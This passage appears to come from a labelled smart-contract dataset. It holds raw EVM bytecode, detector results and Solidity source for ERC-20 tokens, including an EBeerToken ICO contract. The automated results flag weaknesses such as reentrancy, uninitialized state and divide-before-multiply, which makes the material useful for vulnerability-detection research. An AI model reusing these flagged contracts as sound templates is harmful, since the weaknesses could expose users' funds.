0405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611e80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611e80565b6040518363ffffffff1660e01b8152600401610c09929190612269565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611e80565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d11969594939291906122bb565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d639190611fda565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e65929190612292565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190611fad565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190612419565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612379565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111089190612459565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906123f9565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146112b3576003600a819055506005600b8190555060006111fd306106be565b9050601060159054906101000a900460ff1615801561126a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112825750601060169054906101000a900460ff165b156112b1576112908161149a565b6000479050670429d069189e00008111156112af576112ae47611327565b5b505b505b6112be838383611722565b505050565b600083831115829061130b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113029190612337565b60405180910390fd5b506000838561131a919061261f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007600a846113729190612594565b61137c91906125c5565b9081150290604051600060405180830381858888f193505050501580156113a7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a846113f39190612594565b6113fd91906125c5565b9081150290604051600060405180830381858888f19350505050158015611428573d6000803e3d6000fd5b5050565b6000600854821115611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612359565b60405180910390fd5b600061147d611732565b9050611492818461175d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d2576114d161277a565b5b6040519080825280602002602001820160405280156115005781602001602082028036833780820191505090505b50905030816000815181106115185761151761274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115ba57600080fd5b505afa1580156115ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f29190611e80565b816001815181106116065761160561274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061166d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116d1959493929190612474565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61172d8383836117a7565b505050565b600080600061173f611972565b91509150611756818361175d90919063ffffffff16565b9250505090565b600061179f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119d1565b905092915050565b6000806000806000806117b987611a34565b95509550955095509550955061181786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f881611b44565b6119028483611c01565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161195f9190612459565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a000090506119a667016345785d8a000060085461175d90919063ffffffff16565b8210156119c45760085467016345785d8a00009350935050506119cd565b81819350935050505b9091565b60008083118290611a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0f9190612337565b60405180910390fd5b5060008385611a279190612594565b9050809150509392505050565b6000806000806000806000806000611a518a600a54600b54611c3b565b9250925092506000611a61611732565b90506000806000611a748e878787611cd1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ade83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c3565b905092915050565b6000808284611af5919061253e565b905083811015611b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3190612399565b60405180910390fd5b8091505092915050565b6000611b4e611732565b90506000611b658284611d5a90919063ffffffff16565b9050611bb981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c1682600854611a9c90919063ffffffff16565b600881905550611c3181600954611ae690919063ffffffff16565b6009819055505050565b600080600080611c676064611c59888a611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611c916064611c83888b611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611cba82611cac858c611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611cea8589611d5a90919063ffffffff16565b90506000611d018689611d5a90919063ffffffff16565b90506000611d188789611d5a90919063ffffffff16565b90506000611d4182611d338587611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d6d5760009050611dcf565b60008284611d7b91906125c5565b9050828482611d8a9190612594565b14611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc1906123b9565b60405180910390fd5b809150505b92915050565b600081359050611de4816129c5565b92915050565b600081519050611df9816129c5565b92915050565b600081359050611e0e816129dc565b92915050565b600081519050611e23816129dc565b92915050565b600081359050611e38816129f3565b92915050565b600081519050611e4d816129f3565b92915050565b600060208284031215611e6957611e686127a9565b5b6000611e7784828501611dd5565b91505092915050565b600060208284031215611e9657611e956127a9565b5b6000611ea484828501611dea565b91505092915050565b60008060408385031215611ec457611ec36127a9565b5b6000611ed285828601611dd5565b9250506020611ee385828601611dd5565b9150509250929050565b600080600060608486031215611f0657611f056127a9565b5b6000611f1486828701611dd5565b9350506020611f2586828701611dd5565b9250506040611f3686828701611e29565b9150509250925092565b60008060408385031215611f5757611f566127a9565b5b6000611f6585828601611dd5565b9250506020611f7685828601611e29565b9150509250929050565b600060208284031215611f9657611f956127a9565b5b6000611fa484828501611dff565b91505092915050565b600060208284031215611fc357611fc26127a9565b5b6000611fd184828501611e14565b91505092915050565b600080600060608486031215611ff357611ff26127a9565b5b600061200186828701611e3e565b935050602061201286828701611e3e565b925050604061202386828701611e3e565b9150509250925092565b60006120398383612045565b60208301905092915050565b61204e81612653565b82525050565b61205d81612653565b82525050565b600061206e826124f9565b612078818561251c565b9350612083836124e9565b8060005b838110156120b457815161209b888261202d565b97506120a68361250f565b925050600181019050612087565b5085935050505092915050565b6120ca81612665565b82525050565b6120d9816126a8565b82525050565b60006120ea82612504565b6120f4818561252d565b93506121048185602086016126ba565b61210d816127ae565b840191505092915050565b6000612125602a8361252d565b9150612130826127bf565b604082019050919050565b600061214860228361252d565b91506121538261280e565b604082019050919050565b600061216b601b8361252d565b91506121768261285d565b602082019050919050565b600061218e60218361252d565b915061219982612886565b604082019050919050565b60006121b160208361252d565b91506121bc826128d5565b602082019050919050565b60006121d460298361252d565b91506121df826128fe565b604082019050919050565b60006121f760248361252d565b91506122028261294d565b604082019050919050565b600061221a60178361252d565b91506122258261299c565b602082019050919050565b61223981612691565b82525050565b6122488161269b565b82525050565b60006020820190506122636000830184612054565b92915050565b600060408201905061227e6000830185612054565b61228b6020830184612054565b9392505050565b60006040820190506122a76000830185612054565b6122b46020830184612230565b9392505050565b600060c0820190506122d06000830189612054565b6122dd6020830188612230565b6122ea60408301876120d0565b6122f760608301866120d0565b6123046080830185612054565b61231160a0830184612230565b979650505050505050565b600060208201905061233160008301846120c1565b92915050565b6000602082019050818103600083015261235181846120df565b905092915050565b6000602082019050818103600083015261237281612118565b9050919050565b600060208201905081810360008301526123928161213b565b9050919050565b600060208201905081810360008301526123b28161215e565b9050919050565b600060208201905081810360008301526123d281612181565b9050919050565b600060208201905081810360008301526123f2816121a4565b9050919050565b60006020820190508181036000830152612412816121c7565b9050919050565b60006020820190508181036000830152612432816121ea565b9050919050565b600060208201905081810360008301526124528161220d565b9050919050565b600060208201905061246e6000830184612230565b92915050565b600060a0820190506124896000830188612230565b61249660208301876120d0565b81810360408301526124a88186612063565b90506124b76060830185612054565b6124c46080830184612230565b9695505050505050565b60006020820190506124e3600083018461223f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061254982612691565b915061255483612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612589576125886126ed565b5b828201905092915050565b600061259f82612691565b91506125aa83612691565b9250826125ba576125b961271c565b5b828204905092915050565b60006125d082612691565b91506125db83612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612614576126136126ed565b5b828202905092915050565b600061262a82612691565b915061263583612691565b925082821015612648576126476126ed565b5b828203905092915050565b600061265e82612671565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126b382612691565b9050919050565b60005b838110156126d85780820151818401526020810190506126bd565b838111156126e7576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129ce81612653565b81146129d957600080fd5b50565b6129e581612665565b81146129f057600080fd5b50565b6129fc81612691565b8114612a0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c66174d1f0b54637606ad18220f24db46090e7758c00825c6a8f66324eb889964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,142 |
0xd9c0507a6125c1e1d19c3212ddb7ab90526f3099
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 1000000*10**18;
uint256 public constant basePrice = 100*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 1000000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title EBeerToken
* @dev Contract to create the EBeer Token
**/
contract EBeerToken is CrowdsaleToken {
string public constant name = "EBeerToken";
string public constant symbol = "EBT";
uint32 public constant decimals = 18;
}
|
0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610087578063a9059cbb146100de575b600080fd5b34801561006857600080fd5b50610071610143565b6040518082815260200191505060405180910390f35b34801561009357600080fd5b506100c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061014d565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b50610129600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610195565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101d257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561021f57600080fd5b610270826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610303826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103cd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103c257fe5b818303905092915050565b600081830190508281101515156103e057fe5b809050929150505600a165627a7a72305820fc2dcd3104e22ce18be3d26a3442eabb1f86fd7042a427bf6e6962980195e3810029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,143 |
0x8c6847E996b6Be77D0A1c337F94b1dD053ac5d4F
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
